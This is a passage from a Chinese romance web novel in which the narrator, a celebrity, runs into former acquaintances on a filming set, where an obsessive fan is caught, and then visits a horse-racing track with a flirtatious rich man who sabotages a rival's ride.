可惜大黄狗听不懂人话,还想往我身上蹭,旁边的泉卓逸起身想把它赶走,但是浦真?天却?先动了。 他?的手放在大黄头上,揉了揉狗脑袋,把它顺得?服服帖帖,吐着舌头喘气,跟笑似的。 我看看狗,又看看他?,点头道:“果然?像。” 泉卓逸附和道:“对,真?的很像。” 浦真?天笑容加深,一没注意就用摸了狗的手摸后?脖颈,傻愣愣地?说:“真?的吗?” “笨蛋。”我掏出?兜里的纸丢过去,“它很脏的。” 很脏的大黄还在脚边蹭来蹭去,想去蹭泉卓逸的时候,被他?弹跳躲开?,很嫌弃地?避开?了。 闹腾半晌,大黄终于知道附近只有狡诈的人类,于是甩甩尾巴走了。 我收回目光,好奇地?问:“你们俩怎么一起过来了?” “公司赞助。” 泉卓逸看了下浦真?天,单薄地?说:“他?最近缺活动就来了。” 我:“可是,你是中途塞人吧。” 泉卓逸愣在原地?,半晌后?才闷闷地?嗯了一声,抬眼看我,又盯着脚尖。 他?说:“我想见你。” “所以就做了这种事。” 但是他?是怎么知道我要参加什么活动的?难不成也是私生饭吗? 可看他?这唯唯诺诺的样子,又觉得?他?没这个胆子,就算当?粉丝,估计也是那种只会默默买专辑,连演唱会都不敢靠前排的人。 五年过去了,如果不是碰巧遇到他?,他?是不是压根不会来找我? 真?奇怪,这些人躲我像躲狂风暴雨,偏偏淋过暴雨后?,又像牛皮糖似地?黏回来。 浦真?天没说话,只是用纸擦手,擦完后?将纸团放进兜里,轻声说:“其实我应该早点来的,本?来就在H市,但是一直不敢去来见你。” “为什么?” “因为……”他?将字眼咽进喉咙里,弯眸笑了下,“怕你忙。” “以前确实忙。” 我晃着脚尖:“现?在嘛,半忙半闲。” “其实根本?不想回来工作。要不是霍亦瑀,我现?在应该躺在私人飞机上环游世界——” 我得?意地?说:“私人飞机哦,现?在我可是有私人飞机的人,什么时候都可以起飞哦。” 然?而没人注意到我所说的重点。 泉卓逸猛然?抬头,眉头紧锁:“霍亦瑀逼你工作?” “也不是啦。” 我想了想,说:“等价交换而已。” “……如果你不想,你完全不用待在这里。” 泉卓逸像是有点生气,眼中闪烁着不安的光,“他?不能逼你做任何事。” “当?然?啊。” 但他?好像不懂什么叫做意愿不强烈、什么叫做随便。 “你知道‘可以’是什么意思吗?”我说,“就像说饭菜‘还可以’,不是多美味,但也不讨厌,反正也没有事,所以就做了。” 他?低下头看叶子,手放在两侧,腰背像颗笔直的树,毫无以前的松弛感?。 我觉得?他?变得?有点无趣,于是将视线转向浦真?天,得?意地?说:“下次我可以用私人飞机带你出?去玩。” “……好。”他?点点头。 “你记得?告诉栾明,我要叫他?全名!哼哼哼,然?后?把他?反应一五一十告诉我。” “……” 浦真?天脸上的笑容僵住了,沉默了好一会儿才开?口:“小冬,我已经?很久没跟他?联系了。” “你走之后?,明子也离开?了,我们……早就断了来往。” 我震惊地?睁大眼睛,那栾明人呢?他?离家出?走了? 没想到我一走,他?竟然?也跑了。 难不成是在生气?还是说出?去闯荡社会了? 我百思不得?其解,摸着下巴开?始思考。如果浦真?天也不知道栾明在哪里的话,那这个世界上谁知道呢?我还说过要带他?去过好日子,这下好了,自动成为背信弃义的恶魔。 其实听上去很正常。 空气再次凝固。 我打量着沉默的两人,忽然?感?慨物是人非,三个人坐在一起竟然?憋不出?话,我是不是该说点笑话什么的—— 一丝熟悉的气息倏然?逼近,鼻尖掠过气泡水般的刺激清凉。 我率先转头看去。 戴着鸭舌帽的人悄无声息出?现?在泉卓逸身后?,像是在观望风景似的,将手背在身后?,悠闲悠哉。 帽檐阴影下的嘴唇勾起,他?朝我竖起食指,比在嘴前。 泉卓逸仍然?盯着地?面,不知道在想什么,而浦真?天注意到他?身后?的人,迟疑地?向我看来。 我当?然?知道邛浚要做什么,于是朝浦真?天比了嘘的动作。 然?后?在我们的注视下,邛浚掏出?一个小喇叭,飞快地?在泉卓逸耳边吹响。 “哔——!” 刺耳鸣响震彻空地?,远处工作人员纷纷张望,连溜走的黄狗都警觉地?竖起耳朵。 泉卓逸猛地?往右躲开?,瞳孔缩成一团,在看到是谁站在身后?,他?的怒意顷刻间迸发:“邛浚!” 他?愤怒地?喊道:“你有病啊,找个地?死了吧,没人在乎你这个神经?病!” “怎么会呢。” 邛浚笑嘻嘻地?插到我和泉卓逸之间,身体黏糊糊地?往我这边靠,“我的好朋友不就在乎我吗?” 泉卓逸冷笑一声,他?冷脸时有点像他?哥,眉目清晰,攻击性极强。 “你有点脑子就应该滚远点。” “很抱歉啊。”邛浚无赖地?耸肩,“凭借你,好像完全做不到吧。” “嘴上说说,我也可以啊。” 他?抱着手臂,笑嘻嘻地?说:“你才是该离远点的那个,既没有能力又没有实力,什么都没有的家伙,连靠近的资格都没有。” “你——” 泉卓逸脸色骤变,拳头攥得?骨节发白,他?下意识看我,猛地?咬住下唇,但嘴边没有唇环,只能咬在肉上。 就在我期待他?会挥出?拳头时,在现?场大闹一番时,他?只是冷冷地?看向邛浚。 “搞了半天,你就是条被踩了尾巴的狗,看你可怜,我懒得?和你争。” 他?说:“被人打了还敢出?来,欠揍。” 被打了?谁被打了? 我好奇地?看向邛浚,帽檐下的阴影遮挡,看不清他?的神色,他?无奈地?摊开?手,摘下帽子。 邛浚不爽地?嘟囔着:“真?烦啊,竟然?被你发现?了,哎呀,家里有钱就是好,天生智障也能被养大。” “你嘴巴放干净点。” 摘下帽子后?,邛浚的上半张脸犹如被人用棍棒击打过,从额头到颧骨那块青紫交加,看上去格外瘆人。 我倒吸凉气:“原来真?有报应这一说。” “不是啦!”他?辩解道,“我只是摔了一跤。” 浦真?天忍不住说:“看上去很严重,真?的不去医院看看吗?” 泉卓逸:“看个屁,让他?直接破伤风死了算了。” “这位小哥,你人长得?丑嘴巴也很毒嘛。” 邛浚笑嘻嘻地?将帽子戴了回去,丝毫不顾可能压到伤处,伤处让几乎睁不开?眼睛,红肿青紫,看着很吓人。 的确该戴帽子啊。我想。 “你摔得?挺惨的。” 我老?神在在地?说:“做人还是得?小心点。” “是在关心我吗?” 邛浚眼睛一亮,手指捏着帽檐,嘴角翘得?老?高:“很快就能恢复啦,这点小伤,那个把我绊倒的树枝才更?该狠狠地?被教训一下,等回去我要把它找出?来,然?后?掰断。” 虽然?语气带笑,但他?说得?很认真?。 泉卓逸在旁边补刀:“在找到树枝前,破伤风会战胜你的。” “哎呀。”邛浚说,“有人在放狗屁,听不到哦。” 我拍了拍腿,悠闲地?看向不远处张望着的工作人员,心中浮现?出?一点疑惑,“你怎么进来的?我记得?进入需要经?过检查吧。” “我说我是你朋友,他?们就放我进来了。” “不可能。”泉卓逸冷道,“明眼人都知道你不是。” 邛浚嘟囔着用手堵住耳朵,抱怨道:“旁边一直有狗叫,好烦啊,能把他?牵走吗?” 两人互相别?开?脸,像同?极磁铁般排斥。 还是浦真?天一语道破:“这位应该是工作人员。” “他?手里拿着工牌。” “工牌?” 泉卓逸疑惑地?看过去,不解地?说,“你怎么会有工牌?” “因为我在这工作啊。” 邛浚甩着手里的牌子,接着叹了口气,“其实做这种东西很容易,我只是动动手指就进来咯。” “你竟然?敢假冒!” 泉卓逸立马起身,冷笑两声,作势要朝那边的工作人员挥手,将邛浚现?场抓捕。 但邛浚抬起手,笑盈盈地?止住他?的行为。 “真?是白痴啊。”他?说,“我能进来的话,别?人不也能进来吗?” “我可不像你,一天只能想着一件事,脑子是个单线程。” 他?晃着手里的带子,撑着下巴说:“加入私人群的好处可太多了,不仅掌握明星的行踪,还可以掌握私人本?人的。” 他?歪了歪头,阴影下被打得?肿胀的眼睛隐隐露出?一点光,笑得?格外瘆人 “有私生跑进来啦,除了我哦。” 泉卓逸的眉头聚拢,将手收了起来,情绪在一秒之间恢复正常:“是谁,告诉我。” 邛浚哎呀一声,捧着脸笑,打定主意要让泉卓逸不爽。 “私生不解决的话,对小冬没有好处。” 浦真?天温声劝道:“你还是说出?来吧,先解决这件事。” 私生吗?怪不得?那么熟悉,原来是私生啊。 我眨眨眼:“我知道是谁。” 他?们的视线纷纷落到我身上。 “很容易分辨吧。”我耸肩,“是化妆师,他?其实也没做什么,化妆手法还挺好。” 话音未落,泉卓逸已疾步冲向化妆间,背影煞气腾腾。 “动作真?快。”我惊叹。 “狗的反应速度是人的七倍。” 邛浚笑了声,慢悠悠地?说:“现?在倒是跑得?快,以前怎么不跑呢,是因为不爱跑吗?” 浦真?天默了片刻,提醒道:“还是少说两句吧。” 邛浚转过头,看向端坐着的浦真?天。 他?嘶了一声,喃喃道:“竟然?是这样的人吗?完全和我合不来诶,这种感?觉很讨厌啊——” 他?的自言自语像是要停不下来了,于是我抬手打断他?。 “你到底是来干嘛的?” “我?”邛浚指着自己,嬉皮笑脸地?说,“来找你啊,想见你。” 我哦了一声:“那你可以走了。” “好冷漠哦。”他?拖长声音,站不直身体,假模假样地?哭两声,“受伤了都不关心我吗?” “很快就好了。” 我说:“要不然?你抹点口水吧。” “你给抹点。” “好恶心。” 邛浚乐不可支地?笑,笑着笑着忽然?捂着头,旁边的浦真?天欲言又止,有些担忧地?看向我,不知道该不该扶一下。 我推了他?一把,薄薄的衬衫下身体冰凉,我才发现?他?似乎一直在出?冷汗,嘴唇苍白。 我将手探进帽檐的阴影里,触摸到更?冷的温度。 下一秒,一只手抓住我的手腕,手下的人发出?含含糊糊的叹息声,将额头往我手心里蹭。 黏黏糊糊的模样,真?的很像中邪了。 “……没事。”邛浚嘟囔道,“头有点晕而已,嗯,感?觉像是脑震荡。” 浦真?天扶着他?,将人强行按下,眉头紧蹙,“还是叫救护车吧,我怕等会现?场出?事,被拍到就麻烦了。” 邛浚:“嘿嘿,我要上新闻了。” 他?的脑子果然?有问题。 泉卓逸去而复返,发现?我们的站姿,先瞪向坐在地?上的邛浚:“他?怎么了?破伤风发作了?” “不知道。”我诚实地?说,“可能要死了。” “还是把他?送进医院吧。”浦真?天插了句话。 他?面露担忧,可能是现?场唯一一个担心邛浚的人:“他?全身发冷,可能是脑震荡后?遗症,等会晕过去就麻烦了。” 泉卓逸盯着邛浚看了一秒、两秒……然?后?邛浚又黏糊糊地?来抓我的手。 泉卓逸最终烦躁地?抓着头发,怒道:“让他?死了算了,真?的烦死了!” 他?的语气颇有怨言,忍不住说:“他?为什么在你身边?” 我:“他?来找我了啊。” “……” 泉卓逸别?过脸,低下头说:“我知道了,我去联系救护车,你们先回去吧。” “还要拍摄呢。” “不用了。”他?解释说,“等会警察回来一趟,节目组决定暂停今天的拍摄,因为太匆忙,决定下次再确定时间。” “那就不用工作咯。” 他?点点头,朝我勉强笑了下。 浦真?天:“确定了吗?就是那个化妆师?” “对。”泉卓逸松了口气,“抓到他?的时候,他?正在那里撕椅子,说什么要带回去,简直是神经?。” 他?还想说什么,手机却?疯狂震动,看清来电后?脸色瞬间改变,收起手机正色道:“我得?去处理点事。” 背影又一次匆匆消失。 “小冬。”浦真?天忽然?叫我,“明子……真?的没找过你?” “没有啊。” 我耸耸肩膀,宽慰道:“他?可能躲起来,要等他?想通才会出?来。” 浦真?天怔怔地?盯着我,似乎陷入某种回忆,直到我在他?眼前挥了挥手,他?才反应过来。 我好奇地?问:“在想什么?” 他?缓缓地?笑了下:“我在想,能再次见到你真?是太好了。” “当?然?好啦。”我说,“下次让你看私人飞机和大房子。” 他?看着我点头,笑容浮现?在嘴边,那个酒窝凹陷,被光照得?发亮。 “会见到的。” 他?说:“我们都会见到。” 救护车和警车一起呼啦啦地?赶到,车千亦对现?场的情况十分不解,但好歹工作放在一边,她的脸色缓和些。 因为邛浚需要陪同?,所以浦真?天陪着去了,而泉卓逸似乎被人叫走了。 所以我打道回府,打算奖励自己躺在床上玩一天。 今天这班真?是没白上,遇到这么多好玩的事。 不过我有种预感?,更?好玩的还在后?面。 手机突然?震动了两下,我拿起来一看,屏幕上跳出?一条消息。 [颜升(病情待定)]:去赛马场玩如何?明天我来接你—— 作者有话说:穷菌被鲜花饼打了,只攻击面部是男人的小巧思 其实冬子在生哥的气,有人看出来了吗?生气也没有那么多,冬子一直是个淡淡的恶魔,一切都是淡淡的,大部分时候让她干嘛她就会干(入机一个) 这口大锅乱炖让窝头晕脑胀,等明天再修修[猫爪][眼镜] 第85章 上班第一天以报警抓私生和救护车拉人结束, 车千亦忙着工作室那边的事,于是我又开始闲了。 不过这次我闲得很吵闹。 手?机里的人逐渐变多,正在朝着拥挤的方向发展。 一大清早,邛浚就?开始狂发消息, 夹在泉卓逸的长篇大论和浦真天的小心发言中间, 像个磕了药的跳蚤。 我花费了一上午的时间阅览消息, 终于搞清楚发生了什么。 昨天私生被?抓的那几件事,泉卓逸说他会?和车千亦一起处理,至于邛浚,浦真天帮他垫付了医药费, 结果?刚交完,他就?消失不见了。 他只给我发了消息,说什么医院的床太硬, 他要回家里享受席梦思。 等我替浦真天催债时,他就?开始装聋作哑,到头?来,吃亏的只有老实人。 浦真天倒不在意那点钱, 只叮嘱我注意身体,吞吞吐吐问我何?时能再见,我还以为他有什么要紧事,结果?他支吾半天也说不出个所以然。 像这种症状, 我能理解, 这大概就?是被?遗弃后突然黏人的流浪狗症状。 昨天的事匆匆结束, 让我看够戏的同时, 拍摄时间推迟到下周。 这段时间又变成没人管我的状态,霍亦瑀应该从?车千亦那知?道?了拍摄延误,昨天发消息问了下, 我敷衍地回复几句,告诉他我要出去?玩。 他回复好,顺手?转来一笔钱。 就?算我不告诉他要去?哪,他也应该知?道?,最?近他的话变多了,但也只是一点,毕竟他很忙,总是在忙工作上的事。 他忙他的,我玩我的。 赛马场,应该是和赛车场差不多的东西吧。 有钱人总喜欢拿钱赌博,是因为没地方花吗? 再次见面时,颜升仍旧是那副悠闲悠哉的模样,他开了一辆颜色尤其鲜亮的敞篷车,停在门口,丝毫不怕别其他人看到。 他戴着墨镜朝我挥手?,镜片掀起时露出右眼明显的青紫,本人却浑不在意,仿佛那只是新潮妆容。 我钻进车里,好奇地摸摸真皮座椅。等引擎轰鸣着启动,才侧头?看向他。 “你也摔了一跤?” 他勾唇笑了下,目光慢悠悠扫过来:“摔跤?我这是被?狗咬了。” “还是条你认识的狗。” 我认识人类狗和真狗,真狗嘛,一只是村里的大黄,一只还在宠物医院修养,应该都不能突然攻击他。 既然这样,很可能是邛浚了。 经过严密的推理,我了然道?:“你和邛浚打架了?” “他哪有胆子打我,我单方面打他而已?。” 颜升语气带着不屑,眯起狭长的眸子,轻嗤一声:“家里的老人护着他,也不知?道?这个血缘八丈远的人哪里搬得上台面了,尽做些入不了眼的小手?段,下作恶心。” 他状似无意朝我看来,眼尾上扬,语气淡淡道?:“你倒是和他熟。” “五年前就?认识了。”我耸耸肩,“不过最?近他才突然冒出来。” 不仅是他,其他人也如同雨后春笋,纷纷冒出来了。 颜升:“少和贱种接触,掉价。” “那你不是更掉价?” 我笑个不停:“你和他有血缘关?系诶。” 他啧了一声,顶了下腮帮:“把他弄死就?没有了。” 看他这幅随心所欲的模样,说不定是真的想把邛浚搞死,如果?邛浚真死了的话……我心里有点可惜,那以后谁给我看乐子。 见我不说话,颜升指节轻敲方向盘,语气淡淡地说:“怎么,心疼了?” “还好。” 我一本正经:“我崇尚和平。” 崇尚和平和爱看乐子一点也不冲突。 “我可没见识过这种和平。”他忍俊不禁,“你身边从?来就?没消停过。” 就?像风暴眼里反而最?平静,我自认是个爱看乐子的和平主义者,奈何?总被?混乱包围,哎,这永不宁静的人生。 敞篷车的妙处在于能尽情感受风景点风扑在脸上带着草木清香,伸手?仿佛能抓住风的形状。 赛马场坐落郊外,人声鼎沸。 颜升把车交给工作人员,然后领着我往后面走,原本打算登上看台的。 但我的目光被?旁边马场里骑马的人吸引,拉着他说:“我们去?那边吧,我想近距离看骑马。” “那有什么好看的。”颜升的目光扫过,脸上浮现笑意,“想骑了?” “赛马也没什么看头啊。” 我深感怀疑,如果?我下注或者心里觉得谁会?赢的话,那个马会?在中途发疯,然后跑出栅栏,或者直接撞在上面。 经过两?次赛车比赛,我已?经清楚赌博这种比赛似乎跟我无缘。 总是在出事,反正好不了一点。 “行吧。”颜升对侍者低语几句,对方立即躬身引我们走向侧厅。 “先去?换衣服,然后选马。” 我被?推进更衣室,得到一套剪裁利落的骑装,穿上后紧绷得仿佛能同时驾驭五匹烈马。 以前我骑过能转变形态的兽人,但它们的脾气很坏,总是说什么‘你身上有其他的人味道?,就?不要靠近我了’,需要经过气息检测,以及严格的检查才能勉强爬上它们的背。 但我还挺喜欢趴在它们背上的感觉,毛茸茸的,风在耳边穿过,感觉自己像个吸血跳蚤,只用?懒洋洋地躺在上面。 颜升也换上骑马服,将矫健的身材勾勒地紧致,胸膛鼓囊囊的,衬衫一直抵达脖颈,将脖子遮掩住,反倒让人更想看看下面的皮肤。 自从?当了明星,我就?没见过平胸,连泉卓逸看着也不平了。 他戴着黑色手?套,马鞭随意窝在手?里,依靠在门口朝我笑。 等我走进,他把马鞭交给我,俯身时气息拂过耳畔。 “你真好看。” 我把鞭子拿在手?里,新奇地挥了下,结果?他仍然看着我,忽然笑着说:“总感觉,这鞭子应该甩在其他地方才对。” 我奇怪地看了他一眼,目光落在他脸上还残留的青紫上。 他摸了下脸,耸肩:“不是说这个,我可没这种癖好。” 侍从?领着我们走进马场,一路讲解着马匹的来源,以及整个赛马场的历史,总之就?是很高?大上。 我选了匹高?大神骏的黑马,在协助下翻身上鞍。马背的触感很奇妙,身下马打着响鼻,蹄子不安分地刨地。 颜升的动作十分自然,他不需要旁人辅助,很快就?骑着马在我旁边慢慢踱步,看着我在马身上摸来摸去?。 “你是来骑马还是来摸马的?” “不能都做吗?” “当然可以。”他笑道?,“慢慢来,多来几次就?学会?了。” 他端坐马背的姿态带着浑然天成的高?傲,缰绳松松搭在指间,控制着马往前走了几步,忽然转头?朝我看来,目光相对,浓黑的眼睛弯成弯月。 他随意握着缰绳,漫不经意地说:“邛浚昨天去?找你了。” “嗯。” 我注视着黑色的浅毛,马的耳朵晃晃,看上去?很Q弹。 但是像现在这样慢慢地走路,一点也不刺激,有工作人员帮我拉着缰绳,严格地把控速度。 马场范围极大,旁边是一个人造湖泊,再远一点绿地蔓延到森林,风景优美。 “他也就?这点本事了。”颜升轻哼一声,“登不上台面的东西。” “他干嘛了,你这么讨厌他。” “讨厌他才是正常的事,像这种会?在背后使手?段的人,你不讨厌吗?” 他又没对我做过,我当然不会?讨厌。 颜升:“提到他坏心情,我们还是说点别的吧。” “上次在赛车场,你在二楼看着我,对吧?” 我点点头?,回想起他暴怒的模样,忍不住笑出了声,他倒是看着我,脸上挂着莫名的笑。 “其实我原本是有点生气的,我这个人吧,对东西的占有欲很强,朋友也是,看到你和他站在一起,心情非常不好。” “但是。”他说。 “你真的有趣啊,以前还没遇到过像你这样的人。” 他说:“要不然,我们玩点真的吧。” 我脑子里瞬间浮出带点颜色的画面,自然点头?同意,兴致勃勃地建议:“不如今天晚上就?来吧。” 反正霍亦瑀不在家,想怎么玩就?怎么玩。 “今晚?” 颜升停下马,目光朝我看来,在眼光下格外炙热,“我们说的好像有点不一样,不过,我很高?兴为你做任何?事。” 他翻身下马,把缰绳交给旁边的侍从?,自己来给我牵马,笑盈盈地抬头?看我:“手?里的鞭子可要拿稳了,别甩在其他地方。” “怎么和你在一起,我总是想讲点话呢。”他悠闲地走着,“不如给你讲点有趣的事吧,保准你会?高?兴。” “你说吧。” “你知?道?暴发户吗?” 我怎么不知?道?,以前当过一段时间的暴发户来着。 我点了下头?,颜升接着开始讲述:“暴发户是群妙人。从?穷光蛋到富翁只要一瞬,但心态转变却要漫长时间。这种人表面阔了,骨子里还是穷的,穷在思维固化,处处模仿别人。” “这种人很受欢迎。” 他转头?看向我,笑道?:“你知?道?为什么吗?” 一定要互动吗?我要申请免答。 我用?马鞭朝他挥了下,被?他敏捷的躲过,他无奈地说:“好好好,我直接说了。” “因为他们很大方。” 颜升:“越是想要融入的人,就?越是急切,他们只看前方,会?忘记其他人的目的。” “大部?分暴发户的钱拿不到两?年,最?后的下场不是赌博败光就?是投资失败,然后再回到贫穷,他们就?接受不了现实了。” “富过一次后,他们就?真当自己是富人了。” 颜升嘴角升起一点笑,像是看到老鼠在手?里乱跳的猫,悠闲悠哉地说:“这个时候才是最?好玩的。” 他说:“为了躲避现实,他们会?不停地借钱,不停地埋怨身边的人,露出最?丑陋的表情。” “最?后输得一败涂地,还要发狂地捏着旁边人的领子说什么都是因为你的错。” “邛浚有没有告诉你,他也是这种丑陋的人的后代,小时候被?痛扁得像个猪头?,让我印象深刻啊,更深刻的一点是,我只不过骂了几句他欠债的爸,让他滚远点,天天想着沾关?系,不如好好回去?照顾孩子。” 颜升:“结果?他竟然恨起我来了。” “你不觉得很好笑吗?” 原来是邛浚家里也是暴发户,之前我还以为他是纯血穷人。 “如果?下次你对他生气,可以把这件事告诉他哦,流着卑劣的血,穷字刻在骨头?里,不论做什么也摆脱不了。” 他说:“小心这条白眼狼反咬你一口。” 白眼狼大军再添一人,还是我说得对,它完全不需要资格认定,怎么都能轻松地当上。 邛浚是不是白眼狼我不知?道?,反正颜升讲的话不咋好笑。 骑了一会?儿就?觉得累,挺直腰背还要夹紧马腹,实在耗体力,颜升扶我下马,稳稳地将我放下地上。 重?新踩在地面时,双腿软绵绵的像踩着棉花。 附近没什么人骑马奔驰,都在慢悠悠地踱步,看上去?一点也不刺激。 我:“像打高?尔夫一样。” 颜升看向我,嗯了一声,笑盈盈地说:“社交性大于娱乐性,还是赌马好玩些。” “你能保证百分之百赢吗?” “当然,不管怎么样,我都能赚到。” 我摸摸下巴,“你这话我从?霍亦瑀嘴里听过。” 颜升挑起一侧眉,随意撩开额前的金发,看向旁边的草场,“他的确没输过。” “有时候我还挺佩服他的,一个人赶跑一大堆人不说,还能把公司管理得井井有条,有时候我都想他到底是不是个人,外表看上去?永远完美无缺。” 我想了下霍亦瑀早上起来乱糟糟的头?发,说:“还好吧。” 颜升哼笑一声,目光游弋在我身上,弯起眼尾,露出意味深长的笑:“但他还是不行。” “我可以做更多。”他说,“只要你想要,我肯定能比他更能让你满意。” “正好他最?近很忙。” 他未尽的话消失在唇齿间,笑起来时有股让人难以捉摸的气质,嘴唇下的那颗痣尤其晃眼,让人想要按住或者擦掉。 我正想说什么,忽然注意到他身后的草场里有道?熟悉的身影。 那人身边站着几个人,正在说着话,说着说着,他眉头?一皱,朝着我们的方向看来。 颜升懒洋洋顺着我视线望去?。 “你认识?”—— 作者有话说:昨天竟然把标题写成了三十四章! 今天晚上感觉浑身无力,是因为剧情太混乱了吗,窝得好好思考一下,修文……必须修文,乱得嘞《 》 85-90 第86章 “认识。” 泉越泽有白?色的睫毛, 远远看过?去仿佛有雪落在脸上,气质独特,我对他的印象非常深。 因为他虽然看着很精英,其实很笨。 颜升看得久了点, 半晌后恍然大悟的啊了一声, 饶有兴致地说:“原来是他啊, 怎么来H市了,我记得他是A市那片的,最近可真是不?太?平。” 我忍不?住吐槽:“你为什么总是神神叨叨的。” “哪有啊。”颜升一脸冤枉,“我这不?是在给你营造氛围吗?喜欢吗, 这种反派的氛围。” 他指定脑子有点问题,毕竟和邛浚有血缘关系,还都莫名其妙有股贱味, 两个人也不?知道谁学谁,虽然邛浚学颜升的概率更大。 但是他不?是说讨厌颜升吗?怎么还模仿起?来了。 对哦,他之?前也说讨厌泉卓逸,不?也开?始模仿他以前的穿搭。 邛浚的病情和颜升半斤八两。 颜升:“你怎么认识他的?” 我瞥了他一眼, 也端起?架子故弄玄虚:“以后你就知道了,乐子还多着呢。” “告诉我嘛。”他故意倚靠在我的身?上,将重力向我压来,笑得像个狐狸, “你想要什么, 我都可以给你, 说点关于你的事吧, 我想更了解你。” 他声音压得黏黏糊糊,气息搔得我耳朵发?痒,这人沉得很, 胸肌饱满的人果然分量十足,压得我直弯腰。 我用力将他推直了,严肃警告道:“不?要再压我,要不?然我会动用武力的。” “用鞭子?”他低笑,“不?应该晚上再用吗?” 他竟然想让我当S?! 不?行,我才是被伺候的那个。 我正想反驳,旁边有人牵着马走过?,朝颜升抬手打招呼,视线放在我身?上,故作惊讶:“颜总这是带女伴出?来玩吗?这位看着很眼熟啊。” “她。你都不?认识?” 颜升挑眉,语气调笑地说:“那你可以去看看眼科了。” 我和那人同时诧异地看向颜升,最后对方尴尬地笑了下,牵着马溜了。 我无语道:“你有点奇葩了。” “为什么?你不?该开?心吗?” “这个时候应该我出?来装逼,跟你有什么关系。” 有种打脸的戏码被小弟抢走的无力感,他干嘛在旁边又唱又跳。 我推了他一把,握着马鞭思忖片刻,目光落在不?远处那道身?影上,忽然来了兴致:“那你去帮我整整他。” 我这把借刀杀人,要使用脑力计谋。 颜升顺着我的视线望去,唇角一勾:“原来是有过?节。” “那我就替霍亦瑀放心了。” 他抱着手臂,脸上浮现出?兴味的神情:“想怎么整?让他断条腿还是怎么说?” 我大吃一惊:“你怎么还要害命啊,让他出?个糗就行了啊。” 他比我这个恶魔还要凶残,要是到时候把我供出?去,岂不?是要坐牢? “你还是人太?好了。” 他拍拍我肩膀,漆黑的眼睛眯成细线,五官虽然不?像,但笑起?来有几?分神似邛浚,都是如出?一辙的谋划坏事的表情。 望着他远去的背影,我又忍不?住琢磨起?邛浚。 就像发?现常买的内裤其实是山寨货,商标像是Apple和Banana的区别,一旦意识到他在模仿别人,这个念头?就像破洞的水龙头?,止不?住地往外冒。 我拿起?手机,想了想,给他发?了一条消息。 [世?界第一恶魔大人]:原来你是这种人 [邛浚(保持警惕)]:? [邛浚(保持警惕)]:小冬大人,不?要随便跟别人说话哦,你身?边有太?多坏人了(小熊哭泣.jpg) [邛浚(保持警惕)]:您的好朋友还带着伤呢 [邛浚(保持警惕)]:(图片)(图片) 又开?始发?他的自拍了。 点开?图片时,我仍在琢磨他究竟在模仿谁。 一个邛浚竟然人山人海。 怀疑的种子一旦种下,便肆意滋长,像这种发?照片的行为,说不?定是模仿网络擦边男,想从我这捞点钱。 这两张照片拍得极其刁钻,衣领大敞不?说,视角还是从上往下,仿佛我刚从他被窝里钻出?来。 我一边鄙夷一边评判:胸肌倒是练得不?错,虽然比不?上颜升,但还算有料。 幸好没露脸。 我松了口气。 他估计还在脑震荡后遗症中,时不?时发?来黏糊糊的消息,活像拙劣的诈骗短信,我统统已读不?回。 没过?多久,他开?始刷屏广告,包装精致的赌场、高端会所、理财推广…… 跨越阶级后,连广告都显得高级了些。 [世?界第一恶魔大人]:你和从前唯一的区别就是广告档次高了 [邛浚(保持警惕)]:往上爬太?难了,总被路边的野狗咬,天天被咬,说不定哪天得狂犬病死掉……哎,这种时候就需要有人陪在身?边啊,七彩私人飞机,小冬大人,我需要七彩私人飞机—— 我看过?网上一个言论,当一个人想撒娇了,却又找不?到方法?,他就会发?乱七八糟的话。 [世?纪第一恶魔大人]:你在撒娇吗? [邛浚(保持警惕)]:哎呀呀呀呀 然后他又开?始发?广告,全部都是没营养的东西,我直接划到底,随便退出?来,接着望向前方。 只是回复消息的功夫,颜升不?知何时已经融入泉越泽那群人里,相谈甚欢。 他在人群中格外扎眼,金发?在阳光下像是会发?光,周围人不?自觉向他聚拢,而泉越泽静立一旁,表情淡漠,垂着眼不?知在想什么。 这是去整人的,还是去社交的? 我有点怀疑颜升聊嗨了,已经忘记自己的目的是什么。 然而下一秒,颜升的手忽然搭上泉越泽的肩,低声说了句什么,周围人开?始起?哄,侍从适时牵来两匹马。 颜升利落翻身?上马,朝泉越泽勾勾手指,策马向跑道走去。阳光将他笼罩,笑容灿烂得晃眼。 泉越泽也骑上马,跟了过?去。 马场跑道就在旁边,我索性抱臂看戏。 就在他们准备起?步的瞬间,我忽然想起?赛车场的意外,颜升说要整人,该不?会也要搞这种小动作吧? 号令响起?,两人同时挥鞭。骏马沿着赛道奔驰,蹄声如雷,草屑飞扬。 几?乎眨眼之?间,他们已冲到我面前。 晃动间,我似乎看见颜升朝我眨了眨眼。 紧接着,一声马嘶撕裂空气,还没看清发?生?了什么,一道身?影已重重摔在地上,受惊的马匹狂奔而去。 不?远处响起?阵阵惊呼。 颜升跳下马,快步走到倒地那人身?边,语气夸张:“怎么回事?原来你控不?住马啊。下次直接说,不?用勉强。” 泉越泽缓了片刻,侍从们慌忙围上来查看伤势,经理左右张望,欲言又止。 众人七嘴八舌询问状况,被围在中间的伤者却挥挥手,拒绝了搀扶,独自站起?身?。 他白?衣沾满泥污,手臂大腿尽是污渍。捂着手臂,抬眼直直瞪向颜升。 “把鞭子甩到我的马上,我还是头?回见。” “你是在暗示我故意的?”颜升反问,笑盈盈摊手,“纯属意外啦,赛道太?窄,难免误伤。” 经理赶紧打圆场:“抱歉抱歉,都怪马场规模有限!明天就找工人拆了围栏扩建!” 泉越泽没接话,也没理会侍从递来的医药箱,他只是冷冷盯着颜升,对周围看客说:“先去照看马匹,我有些事要和颜先生?谈。” 众人识趣散去,有人临走前瞥了我一眼。 颜升解开?手套,懒洋洋走到围栏边,将马鞭和手套往地上一扔,冲我笑道:“等会要是打起?来,你可得帮我按住他。” 话音未落,泉越泽已走到我面前,隔栏相望。 他先皱了皱眉,原本捂着手臂的姿势松懈下来,目光在我和颜升之?间逡巡,最终冷笑一声。 “又见面了,栾小姐。没想到您身?边又换人了。” 他说:“看来是我多虑了,泉卓逸根本入不?了你的眼。” 我:“整你的人是他,你不?应该跟他说话吗?” 泉越泽淡淡地看了颜升一眼,后者嬉皮笑脸,靠在栏杆上没个正形。 颜升:“对啊,罪魁祸首可是我,先跟我说说话吧,可不?要牵涉无辜的人进来。” “我的确是故意的,不?过?事出?有因,相信你也能理解。” 但泉越泽无视了颜升,视线紧紧地看着我,不?知道为什么带着一丝怒气:“我们的事,你不?用让其他人掺和进来。” “无论你身?边的人是谁,让泉卓逸离远点就行,反正从最开?始你就没把他当做人看,现在也不?用为了气我接近他,虽然我们不?熟,但是栾小姐……五年前的事,我现在还记得清清楚楚。” 